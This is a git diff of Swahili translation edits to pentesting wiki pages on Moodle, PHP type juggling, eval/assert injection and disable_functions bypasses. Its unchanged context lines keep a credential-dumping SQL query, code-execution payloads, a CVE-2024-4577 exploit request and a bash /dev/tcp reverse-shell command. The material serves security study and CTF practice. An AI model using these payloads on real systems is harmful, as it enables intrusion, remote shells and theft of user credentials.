| grep "moodle/config.php" ``` -### Pata Akauti kutoka kwa hifadhidata +### Pata Akida kutoka kwa hifadhidata ```bash /usr/local/bin/mysql -u --password= -e "use moodle; select email,username,password from mdl_user; exit" ``` diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index 62aa7132f..91a88e416 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -24,7 +24,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e Ikiwa `==` inatumika katika PHP, basi kuna kesi zisizotarajiwa ambapo mifano haiwezi kutenda kama inavyotarajiwa. Hii ni kwa sababu "==" inalinganisha tu thamani zilizobadilishwa kuwa aina sawa, ikiwa unataka pia kulinganisha kwamba aina ya data inayolinganishwa ni sawa unahitaji kutumia `===`. -Mifano ya kulinganisha ya PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php) +Mizani ya kulinganisha ya PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php) ![](<../../../images/image (567).png>) @@ -32,18 +32,18 @@ Mifano ya kulinganisha ya PHP: [https://www.php.net/manual/en/types.comparisons. EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf {{#endfile}} -- `"string" == 0 -> True` Mfuatano ambao hauanzishi na nambari ni sawa na nambari -- `"0xAAAA" == "43690" -> True` Mfuatano ulio na nambari katika muundo wa dec au hex unaweza kulinganishwa na nambari/mfuatano mwingine na True kama matokeo ikiwa nambari zilikuwa sawa (nambari katika mfuatano zinatafsiriwa kama nambari) -- `"0e3264578" == 0 --> True` Mfuatano unaoanza na "0e" na kufuatwa na chochote kitakuwa sawa na 0 -- `"0X3264578" == 0X --> True` Mfuatano unaoanza na "0" na kufuatwa na herufi yoyote (X inaweza kuwa herufi yoyote) na kufuatwa na chochote kitakuwa sawa na 0 -- `"0e12334" == "0" --> True` Hii ni ya kuvutia sana kwa sababu katika baadhi ya kesi unaweza kudhibiti ingizo la mfuatano wa "0" na baadhi ya maudhui yanayohesabiwa na kulinganishwa nayo. Hivyo, ikiwa unaweza kutoa thamani itakayounda hash inayooanza na "0e" na bila herufi yoyote, unaweza kupita kulinganisha. Unaweza kupata **mfuatano ambao tayari umehesabiwa** kwa muundo huu hapa: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) -- `"X" == 0 --> True` Herufi yoyote katika mfuatano ni sawa na int 0 +- `"string" == 0 -> True` Mstari ambao hauanzishi na nambari ni sawa na nambari +- `"0xAAAA" == "43690" -> True` Mstari ulio na nambari katika mfumo wa dec au hex unaweza kulinganishwa na nambari/nyuzi nyingine na True kama matokeo ikiwa nambari zilikuwa sawa (nambari katika mstari zinatafsiriwa kama nambari) +- `"0e3264578" == 0 --> True` Mstari unaoanza na "0e" na kufuatwa na chochote utakuwa sawa na 0 +- `"0X3264578" == 0X --> True` Mstari unaoanza na "0" na kufuatwa na herufi yoyote (X inaweza kuwa herufi yoyote) na kufuatwa na chochote utakuwa sawa na 0 +- `"0e12334" == "0" --> True` Hii ni ya kuvutia sana kwa sababu katika baadhi ya kesi unaweza kudhibiti ingizo la mstari la "0" na maudhui fulani yanayohesabiwa na kulinganishwa nayo. Hivyo, ikiwa unaweza kutoa thamani itakayounda hash inayooanza na "0e" na bila herufi yoyote, unaweza kupita kulinganisha. Unaweza kupata **nyuzi zilizohesabiwa tayari** na muundo huu hapa: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) +- `"X" == 0 --> True` Herufi yoyote katika mstari ni sawa na int 0 Maelezo zaidi katika [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) ### **in_array()** -**Mabadiliko ya Aina** pia yanahusisha kazi ya `in_array()` kwa default (unahitaji kuweka kuwa kweli hoja ya tatu ili kufanya kulinganisha kwa ukali): +**Mabadiliko ya Aina** pia yanahusisha kazi ya `in_array()` kwa kawaida (unahitaji kuweka kuwa kweli hoja ya tatu ili kufanya kulinganisha kwa ukali): ```php $values = array("apple","orange","pear","grape"); var_dump(in_array(0, $values)); @@ -53,28 +53,28 @@ var_dump(in_array(0, $values, true)); ``` ### strcmp()/strcasecmp() -Ikiwa kazi hii inatumika kwa **ukaguzi wowote wa uthibitishaji** (kama vile kuangalia nenosiri) na mtumiaji anadhibiti upande mmoja wa kulinganisha, anaweza kutuma array tupu badala ya string kama thamani ya nenosiri (`https://example.com/login.php/?username=admin&password[]=`) na kupita ukaguzi huu: +Ikiwa kazi hii inatumika kwa **ukaguzi wowote wa uthibitisho** (kama vile kuangalia nenosiri) na mtumiaji anadhibiti upande mmoja wa kulinganisha, anaweza kutuma array tupu badala ya string kama thamani ya nenosiri (`https://example.com/login.php/?username=admin&password[]=`) na kupita ukaguzi huu: ```php if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; } // Real Password if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; } // Real Password ``` -Kosa hiyo hiyo inatokea na `strcasecmp()` +Kosa sawa inatokea na `strcasecmp()` -### Uchezaji Mkali wa Aina +### Ujanja wa Aina Mkali -Hata kama `===` inatumika, kunaweza kuwa na makosa ambayo yanafanya **kulinganisha kuwa hatarini** kwa **uchezaji wa aina**. Kwa mfano, ikiwa kulinganisha kuna **kubadilisha data kuwa aina tofauti ya kitu kabla ya kulinganisha**: +Hata kama `===` inatumika, kunaweza kuwa na makosa ambayo yanafanya **kulinganisha kuwa hatarini** kwa **ujanja wa aina**. Kwa mfano, ikiwa kulinganisha kuna **kubadilisha data kuwa aina tofauti ya kitu kabla ya kulinganisha**: ```php (int) "1abc" === (int) "1xyz" //This will be true ``` ### preg_match(/^.\*/) -**`preg_match()`** inaweza kutumika ku **thibitisha pembejeo za mtumiaji** (ina **angalia** kama neno lolote/regex kutoka kwa **orodha ya madoa** lina **patikana** kwenye **pemebeo za mtumiaji** na ikiwa halipo, msimbo unaweza kuendelea na utekelezaji wake). +**`preg_match()`** inaweza kutumika **kuhakiki ingizo la mtumiaji** (ina **angalia** kama neno lolote/regex kutoka kwa **orodha ya madoa** lina **patikana** kwenye **ingizo la mtumiaji** na ikiwa halipo, msimbo unaweza kuendelea na utekelezaji wake). #### New line bypass -Hata hivyo, wakati wa kuweka mipaka ya mwanzo wa regexp`preg_match()` **inaangalia tu mstari wa kwanza wa pembejeo za mtumiaji**, kisha ikiwa kwa namna fulani unaweza **kutuma** pembejeo katika **mistari kadhaa**, unaweza kuwa na uwezo wa kupita ukaguzi huu. Mfano: +Hata hivyo, wakati wa kuweka mwanzo wa regexp `preg_match()` **inaangalia tu mstari wa kwanza wa ingizo la mtumiaji**, kisha ikiwa kwa namna fulani unaweza **kutuma** ingizo katika **mistari kadhaa**, unaweza kuwa na uwezo wa kupita ukaguzi huu. Mfano: ```php $myinput="aaaaaaa 11111111"; //Notice the new line @@ -102,20 +102,18 @@ Ikiwa unaweza kutuma kwa `preg_match()` ingizo halali kubwa sana, **haitaweza ku ```bash payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}' ``` -From: [https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0) - #### ReDoS Bypass -Trick kutoka: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) na [https://mizu.re/post/pong](https://mizu.re/post/pong) +Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) and [https://mizu.re/post/pong](https://mizu.re/post/pong)
-Kwa kifupi, tatizo linatokea kwa sababu ya `preg_*` functions katika PHP inategemea [PCRE library](http://www.pcre.org/). Katika PCRE, baadhi ya regular expressions zinapatikana kwa kutumia wito mwingi wa recursive, ambayo inatumia nafasi kubwa ya stack. Inawezekana kuweka kikomo cha idadi ya recursions zinazoruhusiwa, lakini katika PHP kikomo hiki [kimewekwa kuwa 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) ambacho ni zaidi ya kinachoweza kuwekwa katika stack. +Kwa kifupi, tatizo linatokea kwa sababu ya `preg_*` functions katika PHP zinategemea [PCRE library](http://www.pcre.org/). Katika PCRE, baadhi ya regular expressions zinapatikana kwa kutumia wito mwingi wa recursive, ambayo inatumia nafasi kubwa ya stack. Inawezekana kuweka kikomo cha idadi ya recursions zinazoruhusiwa, lakini katika PHP kikomo hiki [kimewekwa kuwa 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) ambacho ni zaidi ya kinachoweza kuwekwa katika stack. [Thread hii ya Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) pia ilihusishwa katika chapisho ambapo inazungumziwa kwa undani zaidi kuhusu tatizo hili. Kazi yetu sasa ilikuwa wazi:\ -**Tuma input ambayo itafanya regex ifanye 100_000+ recursions, ikisababisha SIGSEGV, na kufanya `preg_match()` function irejee `false` hivyo kufanya programu ifikirie kuwa input yetu si ya uhalifu, ikitupa mshangao mwishoni mwa payload kama `{system()}` ili kupata SSTI --> RCE --> flag :)**. +**Tuma input ambayo itafanya regex ifanye recursions 100_000+, ikisababisha SIGSEGV, na kufanya `preg_match()` function irudishe `false` hivyo kufanya programu ifikirie kwamba input yetu si mbaya, ikitupa mshangao mwishoni mwa payload kama `{system()}` ili kupata SSTI --> RCE --> flag :)**. -Vizuri, katika masharti ya regex, hatufanyi kweli 100k "recursions", bali tunahesabu "backtracking steps", ambayo kama [nyaraka za PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) zinavyosema, inarudi kwa 1_000_000 (1M) katika variable `pcre.backtrack_limit`.\ +Vizuri, katika maneno ya regex, hatufanyi kweli 100k "recursions", bali tunahesabu "backtracking steps", ambayo kama [nyaraka za PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) zinavyosema, inarudi kwa 1_000_000 (1M) katika variable `pcre.backtrack_limit`.\ Ili kufikia hiyo, `'X'*500_001` itasababisha hatua milioni moja za backtracking (500k mbele na 500k nyuma): ```python payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" @@ -153,17 +151,17 @@ Check: ## More tricks -- **register_globals**: Katika **PHP < 4.1.1.1** au ikiwa imewekwa vibaya, **register_globals** inaweza kuwa hai (au tabia yao inajirudia). Hii ina maana kwamba katika mabadiliko ya kimataifa kama $\_GET ikiwa yana thamani e.g. $\_GET\["param"]="1234", unaweza kuyafikia kupitia **$param. Hivyo, kwa kutuma vigezo vya HTTP unaweza kuandika upya mabadiliko\*\* yanayotumika ndani ya msimbo. +- **register_globals**: Katika **PHP < 4.1.1.1** au ikiwa imewekwa vibaya, **register_globals** inaweza kuwa hai (au tabia zao zinaweza kuigwa). Hii ina maana kwamba katika mabadiliko ya kimataifa kama $\_GET ikiwa yana thamani e.g. $\_GET\["param"]="1234", unaweza kuyafikia kupitia **$param. Hivyo, kwa kutuma vigezo vya HTTP unaweza kubadilisha mabadiliko** yanayotumika ndani ya msimbo. - **Cookies za PHPSESSION za eneo moja zinahifadhiwa mahali pamoja**, hivyo ikiwa ndani ya eneo **cookies tofauti zinatumika katika njia tofauti** unaweza kufanya njia hiyo **ifikie cookie ya njia** kwa kuweka thamani ya cookie ya njia nyingine.\ -Kwa njia hii ikiwa **njia zote mbili zinapata mabadiliko yenye jina sawa** unaweza kufanya **thamani ya mabadiliko hayo katika path1 itumike kwa path2**. Na kisha path2 itachukulia kama halali mabadiliko ya path1 (kwa kutoa cookie jina linalolingana nayo katika path2). +Kwa njia hii ikiwa **njia zote mbili zinapata mabadiliko yenye jina sawa** unaweza kufanya **thamani ya mabadiliko hayo katika path1 itumike kwa path2**. Na kisha path2 itachukulia kama halali mabadiliko ya path1 (kwa kutoa cookie jina linalolingana nalo katika path2). - Unapokuwa na **majina ya watumiaji** wa mashine. Angalia anwani: **/\~\** ili kuona ikiwa saraka za php zimewezeshwa. -- Ikiwa usanidi wa php una **`register_argc_argv = On`** basi vigezo vya uchunguzi vilivyotenganishwa na nafasi vinatumika kujaza orodha ya vigezo **`array_keys($_SERVER['argv'])`** kama vile vilikuwa **vigezo kutoka CLI**. Hii ni ya kuvutia kwa sababu ikiwa **usimamizi huo umezimwa**, thamani ya **args array itakuwa `Null`** wakati inaitwa kutoka mtandao kwani orodha ya ars haitajazwa. Hivyo, ikiwa ukurasa wa wavuti unajaribu kuangalia ikiwa unafanya kazi kama zana ya wavuti au kama zana ya CLI kwa kulinganisha kama `if (empty($_SERVER['argv'])) {` mshambuliaji anaweza kutuma **vigezo katika ombi la GET kama `?--configPath=/lalala`** na itafikiri inafanya kazi kama CLI na inaweza kuchambua na kutumia vigezo hivyo. Maelezo zaidi katika [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms). +- Ikiwa usanidi wa php una **`register_argc_argv = On`** basi vigezo vya uchunguzi vilivyotenganishwa kwa nafasi vinatumika kujaza orodha ya vigezo **`array_keys($_SERVER['argv'])`** kama vile vilikuwa **vigezo kutoka kwa CLI**. Hii ni ya kuvutia kwa sababu ikiwa **usimamizi huo uko off**, thamani ya **args array itakuwa `Null`** wakati inaitwa kutoka kwenye wavuti kwani orodha ya ars haitajazwa. Hivyo, ikiwa ukurasa wa wavuti unajaribu kuangalia ikiwa unafanya kazi kama wavuti au kama chombo cha CLI kwa kulinganisha kama `if (empty($_SERVER['argv'])) {` mshambuliaji anaweza kutuma **vigezo katika ombi la GET kama `?--configPath=/lalala`** na itafikiri inafanya kazi kama CLI na inaweza kuchambua na kutumia vigezo hivyo. Maelezo zaidi katika [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms). - [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html) ### password_hash/password_verify -Hizi kazi kawaida hutumiwa katika PHP ili **kuunda hash kutoka kwa nywila** na **kuangalia** ikiwa nywila ni sahihi ikilinganishwa na hash.\ -Mifumo inayoungwa mkono ni: `PASSWORD_DEFAULT` na `PASSWORD_BCRYPT` (inaanza na `$2y$`). Kumbuka kwamba **PASSWORD_DEFAULT mara nyingi ni sawa na PASSWORD_BCRYPT.** Na kwa sasa, **PASSWORD_BCRYPT** ina **kikomo cha ukubwa katika ingizo cha 72bytes**. Hivyo, unapojaribu kuunda hash ya kitu kikubwa kuliko 72bytes kwa kutumia algorithimu hii, ni kwamba tu 72B za kwanza zitatumika: +Hizi kazi kawaida hutumiwa katika PHP ili **kuunda hashes kutoka kwa nywila** na **kuangalia** ikiwa nywila ni sahihi ikilinganishwa na hash.\ +Mifumo inayoungwa mkono ni: `PASSWORD_DEFAULT` na `PASSWORD_BCRYPT` (inaanza na `$2y$`). Kumbuka kwamba **PASSWORD_DEFAULT mara nyingi ni sawa na PASSWORD_BCRYPT.** Na kwa sasa, **PASSWORD_BCRYPT** ina **kikomo cha ukubwa katika ingizo cha 72bytes**. Hivyo, unapojaribu kuhash kitu kikubwa kuliko 72bytes kwa kutumia algorithimu hii, ni kwamba 72B za kwanza tu zitatumika: ```php $cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW False @@ -175,7 +173,7 @@ True #### Causing error after setting headers -From [**this twitter thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) unaweza kuona kwamba kutuma zaidi ya 1000 GET params au 1000 POST params au 20 files, PHOP haitakuwa ikipanga headers katika jibu. +From [**this twitter thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) unaweza kuona kwamba kutuma zaidi ya 1000 GET params au 1000 POST params au 20 files, PHP haitakuwa ikipanga headers katika jibu. Inaruhusu kupita kwa mfano headers za CSP zinazowekwa katika codes kama: ```php @@ -185,7 +183,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"]; ``` #### Kujaza mwili kabla ya kuweka vichwa -Ikiwa **ukurasa wa PHP unachapisha makosa na kurudisha baadhi ya maoni yaliyotolewa na mtumiaji**, mtumiaji anaweza kufanya seva ya PHP irudishe **maudhui marefu ya kutosha** ili wakati inajaribu **kuongeza vichwa** kwenye jibu, seva itatupa makosa.\ +Ikiwa **ukurasa wa PHP unachapisha makosa na kurudisha baadhi ya maoni yaliyotolewa na mtumiaji**, mtumiaji anaweza kufanya seva ya PHP irudishe **maudhui marefu** kiasi kwamba inapojaribu **kuongeza vichwa** kwenye jibu, seva itatupa makosa.\ Katika hali ifuatayo, **mshambuliaji alifanya seva itupe makosa makubwa**, na kama unavyoona kwenye skrini wakati php ilijaribu **kubadilisha taarifa za kichwa, haikuweza** (hivyo kwa mfano kichwa cha CSP hakikutumwa kwa mtumiaji): ![](<../../../images/image (1085).png>) @@ -211,8 +209,8 @@ php-ssrf.md preg_replace(pattern,replace,base) preg_replace("/a/e","phpinfo()","whatever") ``` -Ili kutekeleza msimbo katika "replace" inahitajika angalau mechi moja.\ -Chaguo hili la preg_replace limekuwa **deprecated kuanzia PHP 5.5.0.** +Ili kutekeleza msimbo katika "replace" hoja inahitaji angalau mechi moja.\ +Chaguo hili la preg_replace limekuwa **limeondolewa kuanzia PHP 5.5.0.** ### **RCE kupitia Eval()** ``` @@ -229,11 +227,11 @@ Kazi hii ndani ya php inakuwezesha **kutekeleza msimbo ulioandikwa katika mfuata ``` ?page=a','NeVeR') === false and system('ls') and strpos('a ``` -Unahitaji **kuvunja** sintaksia ya **kanuni**, **kuongeza** payload yako, na kisha **kuirekebisha tena**. Unaweza kutumia **operesheni za mantiki** kama "**na" au "%26%26" au "|"**. Kumbuka kwamba "au", "||" hazifanyi kazi kwa sababu ikiwa hali ya kwanza ni ya kweli payload yetu haitatekelezwa. Njia ile ile ";" haitafanya kazi kwani payload yetu haitatekelezwa. +Unahitaji **kuvunja** sintaksia ya **kanuni**, **kuongeza** payload yako, na kisha **kuirekebisha tena**. Unaweza kutumia **operesheni za mantiki** kama "**na" au "%26%26" au "|"**. Kumbuka kwamba "au", "||" haitafanya kazi kwa sababu ikiwa hali ya kwanza ni ya kweli payload yetu haitatekelezwa. Kwa njia ile ile ";" haitafanya kazi kwani payload yetu haitatekelezwa. **Chaguo lingine** ni kuongeza kwenye mfuatano utekelezaji wa amri: `'.highlight_file('.passwd').'` -**Chaguo lingine** (ikiwa una kanuni ya ndani) ni kubadilisha baadhi ya vigezo ili kubadilisha utekelezaji: `$file = "hola"` +**Chaguo lingine** (ikiwa una kanuni ya ndani) ni kubadilisha baadhi ya mabadiliko ili kubadilisha utekelezaji: `$file = "hola"` ### **RCE kupitia usort()** @@ -263,12 +261,12 @@ You can also use **//** kuandika maoni ya sehemu nyingine ya msimbo. Ili kugundua idadi ya mabano unahitaji kufunga: - `?order=id;}//`: tunapata ujumbe wa kosa (`Parse error: syntax error, unexpected ';'`). Huenda tunakosa moja au zaidi ya mabano. -- `?order=id);}//`: tunapata **onyo**. Hii inaonekana kuwa sawa. +- `?order=id);}//`: tunapata **onyo**. Hiyo inaonekana sawa. - `?order=id));}//`: tunapata ujumbe wa kosa (`Parse error: syntax error, unexpected ')' i`). Huenda tuna mabano mengi ya kufunga. ### **RCE kupitia .httaccess** -Ikiwa unaweza **kupakia** **.htaccess**, basi unaweza **kuweka** mambo kadhaa na hata kutekeleza msimbo (kuweka kwamba faili zenye kiendelezi .htaccess zinaweza **kutekelezwa**). +Ikiwa unaweza **kupakia** **.htaccess**, basi unaweza **kuunda** mambo kadhaa na hata kutekeleza msimbo (kuunda kwamba faili zenye kiambishi .htaccess zinaweza **kutekelezwa**). Mifumo tofauti ya .htaccess inaweza kupatikana [hapa](https://github.com/wireghoul/htshells) @@ -276,11 +274,11 @@ Mifumo tofauti ya .htaccess inaweza kupatikana [hapa](https://github.com/wiregho Ikiwa unapata udhaifu unaokuruhusu **kubadilisha env variables katika PHP** (na nyingine moja ya kupakia faili, ingawa kwa utafiti zaidi huenda hii ikapita), unaweza kutumia tabia hii kupata **RCE**. -- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Hii env variable inaruhusu kupakia maktaba zisizo za kawaida unapotekeleza binaries nyingine (ingawa katika kesi hii huenda isifanye kazi). -- **`PHPRC`** : Inatoa maagizo kwa PHP kuhusu **wapi kupatikana faili lake la usanidi**, ambalo kawaida huitwa `php.ini`. Ikiwa unaweza kupakia faili yako ya usanidi, basi, tumia `PHPRC` kuonyesha PHP kwa hiyo. Ongeza **`auto_prepend_file`** kuingiza ikielekeza faili ya pili iliyopakiwa. Faili hii ya pili ina **PHP code ya kawaida, ambayo kisha inatekelezwa** na PHP runtime kabla ya msimbo mwingine wowote. +- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Hii env variable inakuruhusu kupakia maktaba zisizo za kawaida unapotekeleza binaries nyingine (ingawa katika kesi hii huenda isifanye kazi). +- **`PHPRC`** : Inatoa maagizo kwa PHP kuhusu **mahali pa kupata faili yake ya usanidi**, ambayo kwa kawaida inaitwa `php.ini`. Ikiwa unaweza kupakia faili yako ya usanidi, basi, tumia `PHPRC` kuonyesha PHP kwa hiyo. Ongeza **`auto_prepend_file`** kuingia ikielekeza faili ya pili iliyopakiwa. Faili hii ya pili ina msimbo wa kawaida wa **PHP, ambao kisha unatekelezwa** na PHP runtime kabla ya msimbo mwingine wowote. 1. Pakia faili ya PHP yenye shellcode yetu -2. Pakia faili ya pili, yenye **`auto_prepend_file`** ikielekeza preprocessor ya PHP kutekeleza faili tulilopakia katika hatua ya 1 -3. Weka variable `PHPRC` kwa faili tulilopakia katika hatua ya 2. +2. Pakia faili ya pili, yenye **`auto_prepend_file`** maagizo ikielekeza preprocessor ya PHP kutekeleza faili tuliyopakia katika hatua ya 1 +3. Weka variable ya `PHPRC` kwa faili tuliyopakia katika hatua ya 2. - Pata maelezo zaidi kuhusu jinsi ya kutekeleza mnyororo huu [**kutoka kwa ripoti ya asili**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/). - **PHPRC** - chaguo jingine - Ikiwa **huwezi kupakia faili**, unaweza kutumia katika FreeBSD "faili" `/dev/fd/0` ambayo ina **`stdin`**, ikiwa ni **mwili** wa ombi lililotumwa kwa `stdin`: @@ -295,7 +293,7 @@ Webserver inachambua maombi ya HTTP na kuyapeleka kwa script ya PHP inayotekelez ```jsx -d allow_url_include=1 -d auto_prepend_file=php://input ``` -Zaidi ya hayo, inawezekana kuingiza param "- " kwa kutumia herufi 0xAD kutokana na urekebishaji wa baadaye wa PHP. Angalia mfano wa exploit kutoka [**hiki chapisho**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/): +Zaidi ya hayo, inawezekana kuingiza param "- " kwa kutumia herufi 0xAD kutokana na urekebishaji wa PHP baadaye. Angalia mfano wa exploit kutoka [**hiki posti**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/): ```jsx POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 Host: {{host}} @@ -325,7 +323,7 @@ exec, shell_exec, system, passthru, eval, popen unserialize, include, file_put_cotents $_COOKIE | if #This mea ``` -Ikiwa unarekebisha programu ya PHP unaweza kuwezesha uchapishaji wa makosa kwa kiwango cha juu katika`/etc/php5/apache2/php.ini` kwa kuongeza `display_errors = On` na kuanzisha upya apache: `sudo systemctl restart apache2` +Ikiwa unarekebisha programu ya PHP unaweza kuwezesha uchapishaji wa makosa kwa ujumla katika`/etc/php5/apache2/php.ini` kwa kuongeza `display_errors = On` na kuanzisha upya apache: `sudo systemctl restart apache2` ### Kuondoa ufichaji wa msimbo wa PHP @@ -351,7 +349,7 @@ echo "${Da}"; //Drums echo "$x ${$x}"; //Da Drums echo "$x ${Da}"; //Da Drums ``` -## RCE ikitumia mpya $\_GET\["a"]\($\_GET\["b") +## RCE kutumia mpya $\_GET\["a"]\($\_GET\["b"]) Ikiwa katika ukurasa unaweza **kuunda kitu kipya cha darasa lolote** unaweza kuwa na uwezo wa kupata RCE, angalia ukurasa ufuatao kujifunza jinsi: @@ -383,7 +381,7 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]); $_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]); ``` -Hivyo, ikiwa unaweza **kutekeleza PHP isiyo na mpangilio bila nambari na herufi** unaweza kutuma ombi kama ifuatavyo ukitumia mzigo huo kutekeleza PHP isiyo na mpangilio: +Hivyo, ikiwa unaweza **kutekeleza PHP isiyo na nambari na herufi** unaweza kutuma ombi kama ifuatavyo ukitumia payload hiyo kutekeleza PHP isiyo na mipaka: ``` POST: /action.php?_=system&__=cat+flag.php Content-Type: application/x-www-form-urlencoded diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md index 6bb8f5fc3..b2002b3ab 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md @@ -1,4 +1,4 @@ -# PHP - Kazi za Kusaidia & disable_functions/open_basedir bypass +# PHP - Kazi za Kusaidia & kupita disable_functions/open_basedir {{#include ../../../../banners/hacktricks-training.md}} @@ -16,7 +16,7 @@ echo exec("uname -a"); ```bash echo passthru("uname -a"); ``` -**system** - Inapitisha matokeo ya amri moja kwa moja kwa kivinjari na inarudisha mstari wa mwisho +**system** - Inapitisha matokeo ya amri moja kwa moja kwa kivinjari na kurudisha mstari wa mwisho ```bash echo system("uname -a"); ``` @@ -40,19 +40,19 @@ proc_close(proc_open("uname -a",array(),$something)); ```php ``` -**pcntl_exec** - Inatekeleza programu (kwa kawaida katika PHP za kisasa na zisizo za kisasa unahitaji kupakia moduli ya `pcntl.so` ili kutumia kazi hii) +**pcntl_exec** - Inatekeleza programu (kwa default katika PHP za kisasa na zisizo za kisasa unahitaji kupakia moduli ya `pcntl.so` ili kutumia kazi hii) ```bash pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]); ``` -**mail / mb_send_mail** - Kazi hii inatumika kutuma barua pepe, lakini inaweza pia kutumika vibaya kuingiza amri zisizo za kawaida ndani ya parameter ya `$options`. Hii ni kwa sababu **php `mail` function** kawaida inaita `sendmail` binary ndani ya mfumo na inaruhusu kuweka **chaguzi za ziada**. Hata hivyo, huwezi kuona matokeo ya amri iliyotekelezwa, hivyo inashauriwa kuunda script ya shell inayandika matokeo kwenye faili, kuitekeleza kwa kutumia barua pepe, na kuchapisha matokeo: +**mail / mb_send_mail** - Hii kazi inatumika kutuma barua pepe, lakini pia inaweza kutumika vibaya kuingiza amri zisizo za kawaida ndani ya parameter ya `$options`. Hii ni kwa sababu **php `mail` function** kawaida inaita `sendmail` binary ndani ya mfumo na inaruhusu kuweka **chaguzi za ziada**. Hata hivyo, huwezi kuona matokeo ya amri iliyotekelezwa, hivyo inashauriwa kuunda script ya shell inayandika matokeo kwenye faili, kuitekeleza kwa kutumia barua pepe, na kuchapisha matokeo: ```bash file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt'); ``` -**dl** - Kazi hii inaweza kutumika kupakia upanuzi wa PHP kwa njia ya kidinamik. Kazi hii haitakuwepo kila wakati, hivyo unapaswa kuangalia kama inapatikana kabla ya kujaribu kuifanyia shambulio. Soma [ukurasa huu kujifunza jinsi ya kutumia kazi hii](disable_functions-bypass-dl-function.md). +**dl** - Hii kazi inaweza kutumika kupakia kiendelezi cha PHP kwa njia ya kidinamik. Hii kazi haitakuwepo kila wakati, hivyo unapaswa kuangalia kama inapatikana kabla ya kujaribu kuifanyia shambulio. Soma [ukurasa huu kujifunza jinsi ya kutumia shambulio kwenye kazi hii](disable_functions-bypass-dl-function.md). ### PHP Code Execution -Mbali na eval, kuna njia nyingine za kutekeleza msimbo wa PHP: include/require zinaweza kutumika kwa utekelezaji wa msimbo wa mbali katika mfumo wa Local File Include na Remote File Include vulnerabilities. +Mbali na eval kuna njia nyingine za kutekeleza msimbo wa PHP: include/require zinaweza kutumika kwa utekelezaji wa msimbo wa mbali katika mfumo wa udhaifu wa Local File Include na Remote File Include. ```php ${} // If your input gets reflected in any PHP string, it will be executed. eval() @@ -85,12 +85,12 @@ Mipangilio yote inaweza kuonekana katika matokeo ya **`phpinfo()`**: ## open_basedir Bypass -`open_basedir` itapangilia folda ambazo PHP inaweza kufikia, hu **wezi kuandika/soma/kutekeleza faili yoyote nje** ya folda hizo, lakini pia hu **wezi hata kuorodhesha** saraka nyingine.\ +`open_basedir` itapangilia folda ambazo PHP inaweza kufikia, huwezi **kuweza kuandika/soma/kutekeleza faili 